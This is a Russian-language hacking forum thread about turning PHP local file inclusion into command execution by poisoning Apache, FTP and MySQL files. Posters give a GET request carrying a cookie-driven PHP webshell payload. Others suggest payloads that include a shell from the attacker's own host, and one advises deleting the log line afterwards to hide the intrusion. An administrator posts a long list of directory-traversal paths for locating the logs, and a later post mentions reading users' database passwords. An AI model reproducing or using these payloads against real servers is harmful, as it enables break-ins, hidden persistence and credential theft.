access_log

Discussion in 'Уязвимости' started by HERo!n, 25 Jun 2007.

  1. HERo!n

    HERo!n New Member

    Joined:
    1 Feb 2007
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Слышал что при локальном инклуде файла acces_log можно выполнять команды. Можно по подробнее ?
     
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,043
    Likes Received:
    1,117
    Reputations:
    1,139
    Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
    Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.
     
    #2 _Great_, 25 Jun 2007
    Last edited: 25 Jun 2007
    1 person likes this.
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,043
    Likes Received:
    1,117
    Reputations:
    1,139
    ЗЫ. Ты получишь скорее всего 400 (bad request), но запись в логе останется:
     
  4. oseLHAX

    oseLHAX New Member

    Joined:
    7 Jan 2006
    Messages:
    7
    Likes Received:
    4
    Reputations:
    3
    лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>.
    если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\

    зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше. ;)
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,043
    Likes Received:
    1,117
    Reputations:
    1,139
    У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант.

    Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
    Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.

    Само собой, после укрепления в системе эту строчку из access.log стоит удалить ;)
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,204
    Reputations:
    455
    2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога.
    P.S. серваки под пингвинами.
    Пробывал:
    ../../../../../../../../../var/log/httpd/access_log
    ../../../../../../../../../var/log/httpd/access-log
    ../../../../../../../../../var/log/httpd/access.log
    ../../../../../../../../../var/log/httpd/access
    Нету файлов. также вместо httpd прописывал - apache.
    т.к. на некоторых серваках он завется apache, а не httpd

    МОжет подскажишь как его нащупать?
    Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает:
    Code:
    Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83
    
    Fatal error: main() [function.require]: Failed opening required '/home/****/public_html/mydir/' (include_path='.:/usr/lib/php') in /home/****/public_html/mydir/index.php on line 83
    
     
    #6 slesh, 28 Jun 2007
    Last edited: 7 Jul 2007
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,043
    Likes Received:
    1,117
    Reputations:
    1,139
    Иногда лог лежит в /usr/local/apache/logs/access.log или подобных. Не обязательно в /var/log.
     
    1 person likes this.
  8. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,035
    Reputations:
    1,065
    PHP:
    ../../../../../../../../../../../../var/log/httpd/access_log
    ../../../../../../../../../../../../var/log/httpd/error_log
    ../../../apache/logs/error.log
    ../../../apache/logs/access.log
    ../../../../apache/logs/error.log
    ../../../../apache/logs/access.log
    ../../../../../apache/logs/error.log
    ../../../../../apache/logs/access.log
    ../../../../../../apache/logs/error.log
    ../../../../../../apache/logs/access.log
    ../../../../../../../apache/logs/error.log
    ../../../../../../../apache/logs/access.log
    ../../../../../../../../apache/logs/error.log
    ../../../../../../../../apache/logs/access.log
    ../../../logs/error.log
    ../../../logs/access.log
    ../../../../logs/error.log
    ../../../../logs/access.log
    ../../../../../logs/error.log
    ../../../../../logs/access.log
    ../../../../../../logs/error.log
    ../../../../../../logs/access.log
    ../../../../../../../logs/error.log
    ../../../../../../../logs/access.log
    ../../../../../../../../logs/error.log
    ../../../../../../../../logs/access.log
    ../../../../../../../../../../../../etc/httpd/logs/acces_log
    ../../../../../../../../../../../../etc/httpd/logs/acces.log
    ../../../../../../../../../../../../etc/httpd/logs/error_log
    ../../../../../../../../../../../../etc/httpd/logs/error.log
    ../../../../../../../../../../../../var/www/logs/access_log
    ../../../../../../../../../../../../var/www/logs/access.log
    ../../../../../../../../../../../../usr/local/apache/logs/access_log
    ../../../../../../../../../../../../usr/local/apache/logs/access.log
    ../../../../../../../../../../../../var/log/apache/access_log
    ../../../../../../../../../../../../var/log/apache/access.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/www/logs/error_log
    ../../../../../../../../../../../../var/www/logs/error.log
    ../../../../../../../../../../../../usr/local/apache/logs/error_log
    ../../../../../../../../../../../../usr/local/apache/logs/error.log
    ../../../../../../../../../../../../var/log/apache/error_log
    ../../../../../../../../../../../../var/log/apache/error.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/log/error_log
     
    _________________________
    #8 ettee, 28 Jun 2007
    Last edited: 15 Aug 2008
    3 people like this.
  9. re-2

    re-2 New Member

    Joined:
    24 Jun 2007
    Messages:
    5
    Likes Received:
    2
    Reputations:
    2
    спосибо, давно что то похожое искал
     
  10. Dread

    Dread Elder - Старейшина

    Joined:
    4 Dec 2005
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

    Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков?
     
  11. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    344
    Likes Received:
    157
    Reputations:
    37
    да, локальный инклуд.
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,431
    Likes Received:
    1,209
    Reputations:
    475
    забей на куки
    вместо
    <? system($_COOKIE[cmd]);?>
    посылай
    <? include('http://твой_сайт.ru/shell.php'); ?>
     
  13. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,826
    Likes Received:
    823
    Reputations:
    1,418
    Не обязательно лог апача =))) разве в системе есть только они? )
    А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином
    а затем инклудим еррор лог от стоящего фтпшника.. (ну или акцеслог).. вообще бываает что запись идет в оба. (Именно логин а непасс, т.к. Пасс даже не коректный НЕ показывается в логах)
     
    1 person likes this.
  14. Dread

    Dread Elder - Старейшина

    Joined:
    4 Dec 2005
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    я думаю там проканает только локальный инклуд! из вне наврятли!
     
  15. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    210
    Likes Received:
    84
    Reputations:
    11
    2 Dread
    А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека.
     
  16. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,826
    Likes Received:
    823
    Reputations:
    1,418
    наркоманы наступают =)) при чем тут это :))))

    Great: да не то слово просто =\
     
    #16 darky, 8 Jul 2007
    Last edited by a moderator: 8 Jul 2007
  17. TaveL

    TaveL New Member

    Joined:
    4 Mar 2009
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    Пардон за некрофилию, но вопрос встал ребром:
    что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать :(
     
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196
    искать другие файлы, в которые можно записать инфу и инклюдить
     
  19. TaveL

    TaveL New Member

    Joined:
    4 Mar 2009
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.
     
  20. overxor

    overxor Member

    Joined:
    11 Sep 2009
    Messages:
    32
    Likes Received:
    9
    Reputations:
    0
    Можешь попробывать подинклудить файл базы данных.
    C:/program files/mysql5.0.45/data/mysql
    К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать
    которые в последствии запишутся в бд.

    Допустим shema_name(site) и table_name(users).
    Тогда данный php код будет находится
    Естественно версия мускула в пути будет твоя.
    После этого можешь попытаться подинклудить php код.

    PS.
    Таким же образом можно прочитать мускульные пароли пользователей.